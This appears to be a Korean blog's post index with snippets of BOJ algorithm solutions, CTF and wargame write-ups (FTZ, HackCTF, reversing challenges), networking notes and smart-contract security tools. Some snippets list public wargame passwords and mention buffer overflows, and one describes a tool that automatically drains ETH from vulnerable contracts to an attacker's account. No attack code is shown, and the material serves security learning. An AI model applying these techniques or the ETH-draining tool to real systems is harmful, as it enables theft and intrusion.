[백준/BOJ] 5598번 카이사르 암호 [내부링크]

백준 온라인 저지 5598번 카이사르 암호https://www.acmicpc.net/problem/5598문제가이우스 율리우스 ...

[백준/BOJ] 5622번 다이얼 [내부링크]

백준 온라인 저지 5622번 다이얼https://www.acmicpc.net/problem/5622문제상근이의 할머니는 아래 그...

[백준/BOJ] 2789번 유학 금지 [내부링크]

백준 온라인 저지 2789번 유학 금지https://www.acmicpc.net/problem/2789문제아주 멀리 떨어져 있는 ...

[백준/BOJ] 5586번 JOI와 IOI [내부링크]

백준 온라인 저지 5586번 JOI와 IOIhttps://www.acmicpc.net/problem/5586문제입력으로 주어지는...

[백준/BOJ] 11656번 접미사 배열 [내부링크]

백준 온라인 저지 11656번 접미사 배열https://www.acmicpc.net/problem/11656문제접미사 배열은 문자...

[Web] HackCTF Login 풀이 [내부링크]

Web - Login (100 points)https://ctf.j0n9hyun.xyz:2024로 접속한다.로그인 폼과 php 소스 코드가 함...

[백준/BOJ] 10988번 팰린드롬인지 확인하기 [내부링크]

백준 온라인 저지 10988번 팰린드롬인지 확인하기https://www.acmicpc.net/problem/10988문제알파벳 소...

[Reversing] x86-32 함수 호출 규약 (Calling Convention) [내부링크]

요즘 &#x27;리버싱 핵심원리&#x27; 라는 이름의 나뭇잎 책을 읽고 있는데, 꼭 기억하고 있어야 하는 개념들...

[백준/BOJ] 10987번 모음의 개수 [내부링크]

백준 온라인 저지 10987번 모음의 개수https://www.acmicpc.net/problem/10987문제알파벳 소문자로만 ...

[백준/BOJ] 2902번 KMP는 왜 KMP일까? [내부링크]

백준 온라인 저지 2902번 KMP는 왜 KMP일까?https://www.acmicpc.net/problem/2902문제KMP 알...

[백준/BOJ] 2743번 단어 길이 재기 [내부링크]

백준 온라인 저지 2743번 단어 길이 재기https://www.acmicpc.net/problem/2743문제알파벳으로만 이루어...

[Web] HackCTF 마법봉 풀이 [내부링크]

Web - 마법봉 (100 points)http://ctf.j0n9hyun.xyz:2029 로 접속한다.&quot;해쉬에 마법을 부여하...

[Web] HackCTF Guess me 풀이 [내부링크]

Web - Guess me (100 points)http://ctf.j0n9hyun.xyz:2030 에 접속한다.이런 문제처럼 PHP 소스 ...

[CTF] 2019 X-MAS CTF X-MAS: Lapland Mission write up [내부링크]

Reverse Engineering - X-MAS: Lapland Mission (50 points)리버싱 문제인데, 유니티 엔진으로 ...

[CTF] 2019 X-MAS CTF Thank you Jiang Ying write up [내부링크]

MISC - Thank you Jiang Ying (409 points)리버스 엔지니어링 문제를 주로 풀었지만, MISC에...

[FTZ] FTZ Level 10 [내부링크]

ID : level10PW : interesting to hack!로 시작한다.Level 10은 공유메모리에 관한 문제이다. 힌트...

[FTZ] FTZ Level 9 [내부링크]

ID : level9PW : apple로 시작한다.드디어 Buffer Overflow에 관한 문제가 나왔다. buf[10]에 40 ...

[FTZ] FTZ Level 7 [내부링크]

ID : level7PW : come together로 시작한다.level7의 힌트를 살펴 보자. 우선 /bin/level7을 실행시...

[FTZ] FTZ Level 8 [내부링크]

ID : level8PW : break the world로 시작한다.Level 9의 shadow 파일이 어딘가에 숨어 있다고 한...

[FTZ] FTZ Level 6 [내부링크]

ID : level 6PW : what the hell로 시작한다.힌트를 봐도 무슨 의미인지 파악하지 못했다. 그런데도 ...

[CTF] 2019 X-MAS CTF Dox the Yak write up [내부링크]

OSINT - Dox the Yak (50 Points)CTF에서 OSINT 파트의 문제는 처음이었다. OSINT ...

[FTZ] FTZ Level 5 [내부링크]

ID : level5PW : what is your name?hint를 읽어 보고 /usr/bin 디렉터리에서 level5 이름의 파일을 ...

[FTZ] FTZ level3 [내부링크]

ID : level3PW : can you fly?로 시작한다.힌트를 읽어 보면, autodig의 소스 코드가 나온다.필요...

[FTZ] FTZ level4 [내부링크]

ID : level4PW : suck my brain로 시작한다./etc/xinetd.d 디렉터리에 우선 가보자.해당 디렉터리...

[Forensic] SuNiNaTaS 16번 풀이 [내부링크]

써니나타스 시스템 16번 문제 풀이이다.문제는 시스템으로 분류 되어 있는데 .pcap 파일에 대한 패킷 분...

[Forensic] SuNiNaTaS 14번 풀이 [내부링크]

써니나타스 포렌식 파트 14번 문제 풀이이다.suninatas 라는 사용자의 패스워드를 알아내라는 문제이다....

[Forensic] SuNiNaTaS 18번 풀이 [내부링크]

써니나타스 포렌식 18번 문제 풀이이다.이런 암호에 대해서 해독하라는 문제이다. 근데 딱 봐도 암호가 ...

[Web] HackCTF 보물 풀이 [내부링크]

Web - 보물 (100 points)http://ctf.j0n9hyun.xyz:2025 에 접속한다.문제 대충 읽고, page 버튼부터 ...

[Reversing] Reversing.kr Easy ELF 풀이 [내부링크]

Reversing.kr의 Easy ELF 문제 풀이이다.- 문제에서 제공하는 바이너리는 32-bit 리눅스 실행 파일...

[Forensic] HackCTF Question ? 풀이 [내부링크]

Forensic - Question ? (100 points)Do_you_know_HxD.jpg 라는 그림이 하나 주어진다.뭐.. 이런 그...

[Forensic] HackCTF So easy ? 풀이 [내부링크]

Forensic - So easy ? (100 points)이 문제도 Question ? 문제와 거의 똑같다..jpg 파일이 하나 주어...

[Forensic] HackCTF Secret Document 풀이 [내부링크]

Forensic - Secret Document (150 points)Flag.zip 압축 파일 하나가 주어진다.Flag.zip 파일 안...

[Reversing] HackCTF Strncmp 풀이 [내부링크]

Reversing - Strncmp (150 points)- 문제에 바이너리가 하나 주어진다.- 64-bit 리눅스 실행 파일이다....

[Reversing] HackCTF Handray 풀이 [내부링크]

Reversing - Handray (100 points)handray 라는 이름의 바이너리가 하나 주어졌다.- 64-bit 리눅스 ...

[Reversing] securityfest fairlight 풀이 (angr) [내부링크]

- 64-bit 리눅스 실행 파일이다.- 인자 없이 실행시키면 사용법에 대해 알려주는 문자열이 등장한다.- 특정...

[Reversing] HackCTF Welcome_REV 풀이 [내부링크]

Reversing - Welcome_REV (50 points)문제 내용은 없이, 간단한 바이너리가 하나 주어진다.- 32-b...

[Reversing] HackCTF Reversing Me 풀이 [내부링크]

Reversing - Reversing Me (100 points)C로 작성된 소스 코드에서 serial을 구하는 문제이다.위의 코...

[Web] HackCTF / 풀이 [내부링크]

Web - / (50 points)Web 파트 첫 번째 문제이다. http://ctf.j0n9hyun.xyz:2020 해당 URL에 접속해...

[Web] HackCTF Hidden 풀이 [내부링크]

Web - Hidden (50 points)http://www.ctf.j0n9hyun.xyz:2023 문제는 정말 간단하다.5번 파일에 플래...

[Reversing] 2015 ais3_crackme 풀이 (angr) [내부링크]

이번 문제는 지금까지 풀었던 angr 문제와 살짝 다르다.기존의 문제 방식은 바이너리를 실행시키고 나서 ...

[Reversing] CSCI-4968-MBE crackme0x01 풀이 (angr) [내부링크]

최근 angr 모듈 사용법에 대해 조금 익숙해지기 위해 CTF에 나왔던 몇몇 문제들이나 워게임 문제를 가지...

[Reversing] 2015 defcamp r100 풀이 [내부링크]

파이썬 angr 모듈에 대한 내용을 공부해야겠다고 생각한 이유는, 이번 RITSEC CTF에서 binary 500...

[Reversing] CSCI-4968-MBE(Modern Binary Exploitation) crackme0x00a 풀이 [내부링크]

이 문제 역시 angr 모듈을 이용해서 쉽게 풀 수 있는 문제이다.32-bit 리눅스 실행파일이고, 해당 바이너...

[CTF] 2019 RITSEC CTF yeet write up [내부링크]

BIN - yeet (300)We found the program on macbook involved in an investigation. Can you find th...

[CTF] 2019 RITSEC CTF Acorn write up [내부링크]

BIN - Acorn (100)Can you read this code and decipher the flag?Author : phantom문제 파일...

[CTF] 2019 RITSEC CTF exfiltrated_duck write up [내부링크]

Stego - exfiltrated_duck (499)If it walks like a duck, pcaps like a duck, and looks like a duck,...

[CTF] 2019 RITSEC CTF initiation write up [내부링크]

Crypto - initiation (300)The final flag is in English and must be wrapped in RITSEC{ } A...

[CTF] 2019 RITSEC CTF Uplink write up [내부링크]

PWN - Uplink (200)We have gotten some intelligence about a newly deployed enemy satellite. A...

[FTZ] FTZ Level 2 [내부링크]

&quot;텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데 ... &quot;vi 에디터 사용중에 쉘의 명령...

[FTZ] FTZ Level 1 [내부링크]

포너블 맛 좀 볼겸 level1부터 한번 풀어봤다.ID : level1Password : level1level1에는 다음과 같은...

[Reversing] CodeEngn Advance RCE L08 풀이 [내부링크]

Advance RCE L08Key 값이 5D88-53B4-52A87D27-1D0D-5B09 일때 Name은 무엇인가힌트 : Nam...

[Reversing] CodeEngn Advance RCE L04 풀이 [내부링크]

Advance RCE L04Name이 CodeEngn 일때 Serial은 무엇인가- Author : LibertyorDeath- Fil...

[Reversing] Reversing.kr Easy Keygen 풀이 [내부링크]

Reversing.kr의 Easy Keygen 문제 풀이이다.위와 같은 텍스트 파일과 함께 Easy Keygen.exe 파일이 ...

[Reversing] CodeEngn Advance RCE L05 풀이 [내부링크]

Advance RCE L05Serial 을 구하시오- Author : Pass Corta- File Password : codeengn문제...

[Reversing] CodeEngn Advance RCE L06 풀이 [내부링크]

Advance RCE L06남은 군생활은 몇일 인가정답인증은 MD5 해쉬값(대문자) 변환 후 인증하시오- ...

[Reversing] CodeEngn Advance RCE L03 풀이 [내부링크]

Advance RCE L03Name이 CodeEngn 일때 Serial은 무엇인가- Author : Vallani- File Passw...

[Reversing] CodeEngn Basic RCE L10 풀이 [내부링크]

Basic RCE L10OEP를 구한 후 &#x27;등록성공&#x27;으로 가는 분기점의 OPCODE를 구하시오....

[Reversing] Reversing.kr Easy Crack 풀이 [내부링크]

Reversing.kr의 Easy Crack 문제입니다.문제를 풀기 전에 파일을 먼저 분석하자면 C++로 만들어진 PE 파일이고, 패킹은 되어 있지 않은 상태입니다.위와 같은 입력 폼에 값을 입력해서 맞으면 그 값이 정답인 것 같습니다.틀리면 Incorrect Password 창이 뜨네요.올리디버거에서 Easy Crack 파일을 열어 Search for -&#62; All referenced text strings해당 파일에서 참조된 문자열들을 살펴봅니다. Congratulation !! 문자열이 있는 곳으로 한번 가보겠습니다.Password가 맞았을 경우, 틀렸을 경우 메시지 박스를 띄우는 곳입니다.이 경우 메시지 박스를 띄우기 전 조건 분기를 잘 살펴 봐야 합니다.004010B5 JNZ SHORT Easy_Cra.00401.......

[Smart Contract] How to use Scrooge McEtherface [내부링크]

Scrooge McEtherface는 Mythril의 Ether thief와 Suicide 모듈을 사용하여 취약한 스마트 컨트랙트에서 ETH를 자동으로 추출하는 도구이다.취약한 스마트 컨트랙트에 대한 공격을 완전히 자동화하고 ETH를 공격자의 계정으로 추출한다.Mythril Classic을 기반으로 하므로 특정 입력으로 여러 트랜잭션을 전송해야 하는 복잡한 공격을 이 도구를 이용하여 계산할 수 있다.이더리움 RPC 클라이언트 Ganache를 이용하여 자신의 테스트 계정에서 특정 취약한 스마트 컨트랙트에 트랜잭션을 발생시켜 ETH를 추출하는 방식으로 사용된다.취약한 스마트 컨트랙트에 대한 테스트용 도구로서도 사용되지만 항상 악의적인 행위자에 의해 악용될 염려.......

[Smart Contract] How to use Octopus [내부링크]

https://github.com/quoscient/octopusOctopus는 EVM 및 WASM을 지원하는 블록체인 스마트 컨트랙트의 보안을 분석하는 도구이다.이 도구의 목적은 스마트 컨트랙트 보안을 분석하고 블록체인에 실제로 저장된 내용을 이해하기 쉽게 해주는 것이다.EVM과 WASM 이 외에도 BTC Script, NEO 스마트 컨트랙트를 지원한다.* 특징Explorer : 블록체인 플랫폼과 통신하기 위한 Octopus JSON-RPC 클라이언트를 구현한다.Disassembler : 바이트코드를 어셈블리 표현으로 변환할 수 있다.Control Flow Analysis : 제어 흐름 그래프(CFG)를 생성할 수 있다.IR Converson (SSA) : SSA 표현으로 어셈블리를 단순화 할 수 있다.Symbolic Execution : 이 도.......

[Smart Contract] How to use Oyente [내부링크]

https://github.com/melonproject/oyenteOyente는 스마트 컨트랙트의 안전성을 분석하고 평가할 수 있는 자동화된 도구이다.Solidty, Serpent 언어와 같은 고 수준 표현에 액세스 하는 것 없이 EVM과 직접 작동하는 symbolic execution 도구이다.스마트 컨트랙트에 존재하는 TOD(Transaction Ordering Dependence), Timestamp dependency, Reentrancy, Mishandling exceptions 등 일반적인 취약점들을 탐지한다.2016년 5월까지 19366개의 스마트 계약들 중 8836개의 게약을 취약한 것으로 탐지 할 만큼 효과적인 도구이다.2017년 10월에 최신 버전 v0.2.7이 릴리스 된 이후로 추가적인 버전 업그레이드나 새롭게 릴리즈 된 내용은 없다.Insta.......

[Reversing] CodeEngn Advance RCE L01 풀이 [내부링크]

Advance RCE L01이 프로그램은 몇 밀리세컨드 후에 종료 되는가정답인증은 MD5 해쉬값(대문자) 변환 후 인증하시오- Author : CodeEngn- File Password : codeengn정말 오랜만에 풀어보는 리버싱 문제이다.문제는 되게 익숙했다.CodeEngn Basic RCE L19에 있던 문제와 비슷하다.01.exe를 실행시키면 다음과 같은 창이 뜨고, 대략 13초? 12초? 후에 종료되는것을 볼 수 있다.현재 UPX로 패킹이 되어 있는 상태이다.일단 언패킹을 진행하고나서 x64dbg 디버거로 분석해보자.올리디버거를 사용하다가.. x64dbg로 바꿨습니다.이 바이너리 파일에서의 단서를 얻고자 참조된 문자열에 대해서 한번 살펴본다.어셈블리 코드 창에서 오른쪽.......

[백준/BOJ] 10872번 팩토리얼 [내부링크]

백준 온라인 저지 10872번 팩토리얼https://www.acmicpc.net/problem/10872문제0보다 크거나 같은 정수 N이 주어진다. 이때, N!을 출력하는 프로그램을 작성하시오.풀이매우 쉬움.입력 받은 N을 N * (N-1) * (N-2) ... * 1 하기 위해 반복문의 초기 값에 입력 받은 n 값을 넣어 매 반복 마다 -1 하여 곱해준다.i가 0일 경우 break 하여 출력 해준다.

[Network] VMware의 NAT 구조와 포트포워딩 (1) [내부링크]

많은 사람들이 VirtualBox, Vmware 같은 가상머신을 이용하여 가상 네트워크를 구성하고 호스트 PC 안에서 여러 가상머신을 사용하고 있을 것이다.아마 많은 사용자들이 기본적으로 사용하고 있는 네트워크 구조는- Host-Only- NAT(Network Address Translation)- Bridge중 NAT 구조 일 것이다.우리가 사용하는 네트워크가 어떤 식으로 작동하는지 또는 데이터가 이동하는지 꼭 알아야 할 필요가 있다.그래야 포트포워딩이라는 개념을 이해하기 훨씬 쉬울 것이다.왼쪽에 있는 Host-only 는 말 그대로 폐쇄망 구조이다. 주로 내부 네트워크를 구축하는데 사용 된다.Bridge 는 공유기로부터 직접 IP를 할당 받아, 호스트 PC와 같은 네트워.......

[포스팅] 악성 코드 발견된 캠스캐너, 유료 버전 불통에 항의 이어져 [내부링크]

[뉴스웍스&#x3D;이정은 기자] 최근 무료 버전에서 악성코드가 발견돼 구글플레이에서 삭제된 문서 스캔 앱 &#x27;캠스캐너&#x27;의 유료 버전의 설치가 원활히 이루어지지 않는 것으로 나타났다.30일 구글 플레이 스토어에서 캠스캐너 유료 버전의 사용자 리뷰를 확인한 결과 &#34;악성 코드가 깔려 있다는 소식에 무료 버전을 지우고 유료 버전을 구매했으나 설치가 되지 않는다&#34;는 의견이 최근 다수 게시됐다.지난 27일(현지시각) 러시아의 보안 프로그램사 &#x27;카스퍼스키&#x27;에서 &#34;캠스캐너의 광고 라이브러리에 &#x27;트로이 목마&#x27; 형태의 악성코드가 발견됐다&#34;고 알렸고, 많은 이용자들이 광고 배너가 나오던.......

[Network] VMware의 NAT 구조와 포트포워딩 (2) [내부링크]

일반적인 상황에서 공유기 외부(외부망)에서 공유기 내부(사설망)에 있는 컴퓨터에 접속하기 위해서는&#34;나 xx번 포트로 접속할테니, IP : 192.168.xxx.xxx의 xx번 포트로 연결해줘&#34; 라는 포트포워딩이 필요하다.포트포워딩(Port forwarding)이란 말 그대로 포트를 연결해준다라는 의미를 가지고 있다.포트포워딩은 주로 공유기를 사용하는 집에서 사용하고, 외부에서 접근하기 어려운 사설 IP에 접근하게 하기 위해서 사용된다.다음과 같은 간단한 네트워크 구성도가 있다.가장 쉬운 예시를 들어 보자.집에서 프로젝트를 하면서 웹 서버를 구축했다. 완성을 하고나서 친구한테 한번 들어와 보라고 웹 서버 주소를 알려줬다. (192........

[백준/BOJ] 11654번 아스키 코드 [내부링크]

백준 온라인 저지 11654번 아스키 코드https://www.acmicpc.net/problem/11654문제알파벳 소문자, 대문자, 숫자 0-9중 하나가 주어졌을 때, 주어진 글자의 아스키 코드값을 출력하는 프로그램을 작성하시오.알파벳 소문자, 대문자, 숫자 0-9 중 하나가 첫째 줄에 주어진다.풀이오랜만에 쉬운 문제 푸니까 감회가 새롭다.풀이라고 할게 없다. (문자로 입력을 받아 정수로 출력)char 형 변수에는 문자도 대입하지만 작은 숫자를 저장하는 자료형으로도 사용이 가능하다.- signed char 일 경우 -128 ~ 127의 숫자- unsigned char 일 경우 0 ~ 255의 숫자

[백준/BOJ] 11720번 숫자의 합 [내부링크]

백준 온라인 저지 11720번 숫자의 합https://www.acmicpc.net/problem/11720문제N개의 숫자가 공백 없이 쓰여있다. 이 숫자를 모두 합해서 출력하는 프로그램을 작성하시오.첫째 줄에 숫자의 개수 N (1 ≤ N ≤ 100)이 주어진다. 둘째 줄에 숫자 N개가 공백없이 주어진다.입력으로 주어진 숫자 N개의 합을 출력한다.풀이난이도는 쉬움.문자열의 길이는 정수 n, 문자열은 a[] 배열에 입력 받는다.a[i] 각각의 요소에서 48 만큼을 빼줌.char 형 배열이기 때문에 &#x27;5&#x27;, &#x27;4&#x27;, &#x27;3&#x27;, &#x27;2&#x27;, &#x27;1&#x27;은 계산 시 각각 53, 52, 51, 50, 49로 계산이 된다.(* 자세한 내용은 ASCII 코드표 참조)

[백준/BOJ] 2908번 상수 [내부링크]

백준 온라인 저지 2908번 상수https://www.acmicpc.net/problem/2908문제상근이의 동생 상수는 수학을 정말 못한다. 상수는 숫자를 읽는데 문제가 있다. 이렇게 수학을 못하는 상수를 위해서 상근이는 수의 크기를 비교하는 문제를 내주었다. 상근이는 세 자리 수 두 개를 칠판에 써주었다. 그 다음에 크기가 큰 수를 말해보라고 했다.상수는 수를 다른 사람과 다르게 거꾸로 읽는다. 예를 들어, 734과 893을 칠판에 적었다면, 상수는 이 수를 437과 398로 읽는다. 따라서, 상수는 두 수중 큰 수인 437을 큰 수라고 말할 것이다.두 수가 주어졌을 때, 상수의 대답을 출력하는 프로그램을 작성하시오.첫째 줄에 상근이가 칠판에 적은 두 수.......

[백준/BOJ] 1152번 단어의 개수 [내부링크]

백준 온라인 저지 1152번 단어의 개수https://www.acmicpc.net/problem/1152문제영어 대소문자와 띄어쓰기만으로 이루어진 문자열이 주어진다. 이 문자열에는 몇 개의 단어가 있을까? 이를 구하는 프로그램을 작성하시오. 단, 한 단어가 여러 번 등장하면 등장한 횟수만큼 모두 세어야 한다.첫 줄에 영어 대소문자와 띄어쓰기로 이루어진 문자열이 주어진다. 이 문자열의 길이는 1,000,000을 넘지 않는다. 단어는 띄어쓰기 한 개로 구분되며, 공백이 연속해서 나오는 경우는 없다. 또한 문자열의 앞과 뒤에는 공백이 있을 수도 있다.풀이이번 문제는 정답률이 그 동안 풀었던 것 중에 매우 낮은 편에 속하는 문제 였다. (24.7% 였던가..?)그.......

[백준/BOJ] 3052번 나머지 [내부링크]

백준 온라인 저지 3052번 나머지https://www.acmicpc.net/problem/3052문제두 자연수 A와 B가 있을 때, A%B는 A를 B로 나눈 나머지 이다. 예를 들어, 7, 14, 27, 38을 3으로 나눈 나머지는 1, 2, 0, 2이다. 수 10개를 입력받은 뒤, 이를 42로 나눈 나머지를 구한다. 그 다음 서로 다른 값이 몇 개 있는지 출력하는 프로그램을 작성하시오.풀이고민하다가 생각이 안나 다른 사람의 풀이를 한번 봤던 문제.42로 나누기 때문에 나머지는 0 ~ 41까지 발생할 수 있음.그래서 크기 42 만큼의 배열을 선언한 후, 입력한 수를 42로 나누었을 때 생기는 나머지(a)와 같은 배열의 인덱스를 가리키는 공간에 1값을 주어 카운팅 하였다.

[백준/BOJ] 1546번 평균 [내부링크]

백준 온라인 저지 1546번 평균https://www.acmicpc.net/problem/1546문제세준이는 기말고사를 망쳤다. 세준이는 점수를 조작해서 집에 가져가기로 했다. 일단 세준이는 자기 점수 중에 최댓값을 골랐다. 이 값을 M이라고 한다. 그리고 나서 모든 점수를 점수/M*100으로 고쳤다.예를 들어, 세준이의 최고점이 70이고, 수학점수가 50이었으면 수학점수는 50/70*100이 되어 71.43점이 된다.세준이의 성적을 위의 방법대로 새로 계산했을 때, 새로운 평균을 구하는 프로그램을 작성하시오.첫째 줄에 시험 본 과목의 개수 N이 주어진다. 이 값은 1000보다 작거나 같다. 둘째 줄에 세준이의 현재 성적이 주어진다. 이 값은 100보다 작거나 같은 음.......

[백준/BOJ] 8958번 OX퀴즈 [내부링크]

백준 온라인 저지 8958번 OX퀴즈https://www.acmicpc.net/problem/8958문제&#34;OOXXOXXOOO&#34;와 같은 OX퀴즈의 결과가 있다. O는 문제를 맞은 것이고, X는 문제를 틀린 것이다. 문제를 맞은 경우 그 문제의 점수는 그 문제까지 연속된 O의 개수가 된다. 예를 들어, 10번 문제의 점수는 3이 된다.&#34;OOXXOXXOOO&#34;의 점수는 1+2+0+0+1+0+0+1+2+3 &#x3D; 10점이다.OX퀴즈의 결과가 주어졌을 때, 점수를 구하는 프로그램을 작성하시오.첫째 줄에 테스트 케이스의 개수가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있고, 길이가 0보다 크고 80보다 작은 문자열이 주어진다. 문자열은 O와 X만으로 이루어져 있다.풀이너무 어.......

[백준/BOJ] 15596번 정수 N개의 합 [내부링크]

백준 온라인 저지 15596번 정수 N개의 합https://www.acmicpc.net/problem/15596문제정수 n개가 주어졌을 때, n개의 합을 구하는 함수를 작성하시오.작성해야 하는 함수는 다음과 같다.C, C11, C (Clang), C11 (Clang): long long sum(int *a, int n);a: 합을 구해야 하는 정수 n개가 저장되어 있는 배열 (0 ≤ a[i] ≤ 1,000,000, 1 ≤ n ≤ 3,000,000)n: 합을 구해야 하는 정수의 개수리턴값: a에 포함되어 있는 정수 n개의 합C++, C++11, C++14, C++17, C++ (Clang), C++11 (Clang), C++14 (Clang), C++17 (Clang): long long sum(std::vector&#60;int&#62; &#38;a);a: 합을 구해야 하는 정수 n개가 저장되어 있는 배열 (0 ≤ a[i] ≤ 1,0.......

[백준/BOJ] 10818번 최소, 최대 [내부링크]

백준 온라인 저지 10818번 최소, 최대https://www.acmicpc.net/problem/10818문제N개의 정수가 주어진다. 이때, 최솟값과 최댓값을 구하는 프로그램을 작성하시오.첫째 줄에 정수의 개수 N (1 ≤ N ≤ 1,000,000)이 주어진다. 둘째 줄에는 N개의 정수를 공백으로 구분해서 주어진다. 모든 정수는 -1,000,000보다 크거나 같고, 1,000,000보다 작거나 같은 정수이다.풀이정수의 개수 N의 범위가 (1 ~ 1,000,000)이기 때문에 main() 함수의 지역 변수로 a[1000000] 배열을 선언 했더니 런타임 에러 발생 한다. 함수 안에 큰 배열을 선언하면 스택 공간의 제한이 작기 때문에 런타임 에러가 남. 그래서 배열을 전역 변수로 선언했다.입력 받.......

[백준/BOJ] 2562번 최댓값 [내부링크]

백준 온라인 저지 2562번 최댓값https://www.acmicpc.net/problem/2562문제9개의 서로 다른 자연수가 주어질 때, 이들 중 최댓값을 찾고 그 최댓값이 몇 번째 수인지를 구하는 프로그램을 작성하시오.예를 들어, 서로 다른 9개의 자연수3, 29, 38, 12, 57, 74, 40, 85, 61이 주어지면, 이들 중 최댓값은 85이고, 이 값은 8번째 수이다.풀이최댓값, 최솟값 구하는 문제와 알고리즘은 동일하다.최댓값 구하는 반복문에 maxI(maxIndex) 변수를 선언하여 최댓값이 저장되어 있는 배열의 인덱스를 저장하여 출력 해주면 됨.

[백준/BOJ] 2920번 음계 [내부링크]

백준 온라인 저지 2920번 음계https://www.acmicpc.net/problem/2920문제다장조는 c d e f g a b C, 총 8개 음으로 이루어져있다. 이 문제에서 8개 음은 다음과 같이 숫자로 바꾸어 표현한다. c는 1로, d는 2로, ..., C를 8로 바꾼다.1부터 8까지 차례대로 연주한다면 ascending, 8부터 1까지 차례대로 연주한다면 descending, 둘 다 아니라면 mixed 이다.연주한 순서가 주어졌을 때, 이것이 ascending인지, descending인지, 아니면 mixed인지 판별하는 프로그램을 작성하시오.풀이코드를 이렇게 길게 짤 필요는 없을 것 같은데..우선 입력 받은 8개의 수를 배열에 넣고 반복문을 돌림.if(a[i] &#60;&#x3D; a[i+1])는 오름 차순을 판별하기.......

[백준/BOJ] 2577번 숫자의 개수 [내부링크]

백준 온라인 저지 2577번 숫자의 개수https://www.acmicpc.net/problem/2577문제세 개의 자연수 A, B, C가 주어질 때 A×B×C를 계산한 결과에 0부터 9까지 각각의 숫자가 몇 번씩 쓰였는지를 구하는 프로그램을 작성하시오.예를 들어 A &#x3D; 150, B &#x3D; 266, C &#x3D; 427 이라면 A × B × C &#x3D; 150 × 266 × 427 &#x3D; 17037300 이 되고, 계산한 결과 17037300 에는 0이 3번, 1이 1번, 3이 2번, 7이 2번 쓰였다.풀이입력 받은 3개의 정수의 곱을 string으로 형변환하여 char 형 배열에 넣음배열 안에 들어 있는 숫자들을 하나 하나 비교하여 카운트하여 출력했다.

[백준/BOJ] 10871번 X보다 작은 수 [내부링크]

백준 온라인 저지 10871번 X보다 작은 수https://www.acmicpc.net/problem/10871문제정수 N개로 이루어진 수열 A와 정수 X가 주어진다. 이때, A에서 X보다 작은 수를 모두 출력하는 프로그램을 작성하시오.풀이수열을 이루는 정수의 개수(n)와 비교할 정수(x)를 입력 받아 반복문을 이용하여 a라는 배열에 저장한다.그 다음 반복문에서는 비교할 정수(x)와 각각의 수열을 이루는 정수들을 비교하여 x 보다 작다면 printf()를 통하여 출력한다.

[백준/BOJ] 10952번 A+B - 5 [내부링크]

백준 온라인 저지 10952번 A+B - 5https://www.acmicpc.net/problem/10952문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.0 0이 들어올 때까지 A+B를 출력하는 문제풀이더 짧게 할 수 있을 것 같은데 코드가 좀 길다.while(1) 로 입력 값을 무한으로 받으나 0 0이 들어갈 경우 break그 때의 i 값을 max 변수에 넣고 for 문으로 출력

[백준/BOJ] 10951번 A+B - 4 [내부링크]

백준 온라인 저지 10951번 A+B - 4https://www.acmicpc.net/problem/10951문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.EOF를 사용하는 문제풀이EOF(End -Of-File)를 사용하는 문제이다.종료 조건에 EOF를 추가 했다.1. char형 변수 ch 선언2. 콘솔 창에서는 Ctrl + Z가 EOF를 의미 한다.3. Ctrl + Z 시 getchar()에 -1 값이 반환 된다.4. if( -1 &#x3D;&#x3D; EOF) 시 while 문을 빠져 나옴. // EOF는 상수 -1로 정의되어 있음.EOF 를 발생시키려면 윈도우 계열에서는 Ctrl + Z, 유닉스 계열에서는 Ctrl + D를 입력해야한다.근데 콘솔창에서 EOF를 발생시키기 위해서는 Ctrl + Z와 Enter를 4번 입력했.......

[백준/BOJ] 1110번 더하기 사이클 [내부링크]

백준 온라인 저지 1110번 더하기 사이클https://www.acmicpc.net/problem/1110문제0보다 크거나 같고, 99보다 작거나 같은 정수가 주어질 때 다음과 같은 연산을 할 수 있다. 먼저 주어진 수가 10보다 작다면 앞에 0을 붙여 두 자리 수로 만들고, 각 자리의 숫자를 더한다. 그 다음, 주어진 수의 가장 오른쪽 자리 수와 앞에서 구한 합의 가장 오른쪽 자리 수를 이어 붙이면 새로운 수를 만들 수 있다. 다음 예를 보자.26부터 시작한다. 2+6 &#x3D; 8이다. 새로운 수는 68이다. 6+8 &#x3D; 14이다. 새로운 수는 84이다. 8+4 &#x3D; 12이다. 새로운 수는 42이다. 4+2 &#x3D; 6이다. 새로운 수는 26이다.위의 예는 4번만에 원래 수로 돌아올 수 있.......

[백준/BOJ] 11021번 A+B - 7 [내부링크]

백준 온라인 저지 11021번 A+B - 7https://www.acmicpc.net/problem/11021문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.풀이저번에 풀었던 문제 A+B - 3과 거의 유사한 문제다.A+B - 3 문제 코드에서 printf() 출력시 &#34;Case #1: ~&#34; 문자열만 잘 붙여주면 풀 수 있는 문제

[백준/BOJ] 11022번 A+B - 8 [내부링크]

백준 온라인 저지 11022번 A+B - 8https://www.acmicpc.net/problem/11022문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.풀이A+B - 7 문제와 똑같이 printf() 함수에 몇 가지 추가하면 된다. 풀이라고 할게 없다.

[백준/BOJ] 2438번 별 찍기 - 1 [내부링크]

백준 온라인 저지 2438번 별 찍기 - 1https://www.acmicpc.net/problem/2438문제첫째 줄에는 별 1개, 둘째 줄에는 별 2개, N번째 줄에는 별 N개를 찍는 문제풀이중첩 반복문 사용.첫 번째 반복문은 &#x27;~열&#x27;까지 * 을 찍을 것인지에 대해 표시, 두 번째 반복문은 &#x27;~열&#x27;에 * 을 몇 개나 찍을 것 인지에 대해 표시

[백준/BOJ] 2439번 별 찍기 - 2 [내부링크]

백준 온라인 저지 2439번 별 찍기 - 2https://www.acmicpc.net/problem/2439문제첫째 줄에는 별 1개, 둘째 줄에는 별 2개, N번째 줄에는 별 N개를 찍는 문제하지만, 오른쪽을 기준으로 정렬한 별(예제 참고)을 출력하시오.풀이반복문을 3개 사용.첫 번째 반복문 &#x27;~열&#x27;을 출력할 것 인지에 대해 표시.두 번째 반복문 &#x27;~열&#x27;에서 공백을 몇 번 반복해서 찍을 것 인지에 대해 표시세 번째 반복은 &#x27;~열&#x27;에서 * 을 몇 번 반복해서 찍을 것 인지에 대해 표시

[백준/BOJ] 8393번 합 [내부링크]

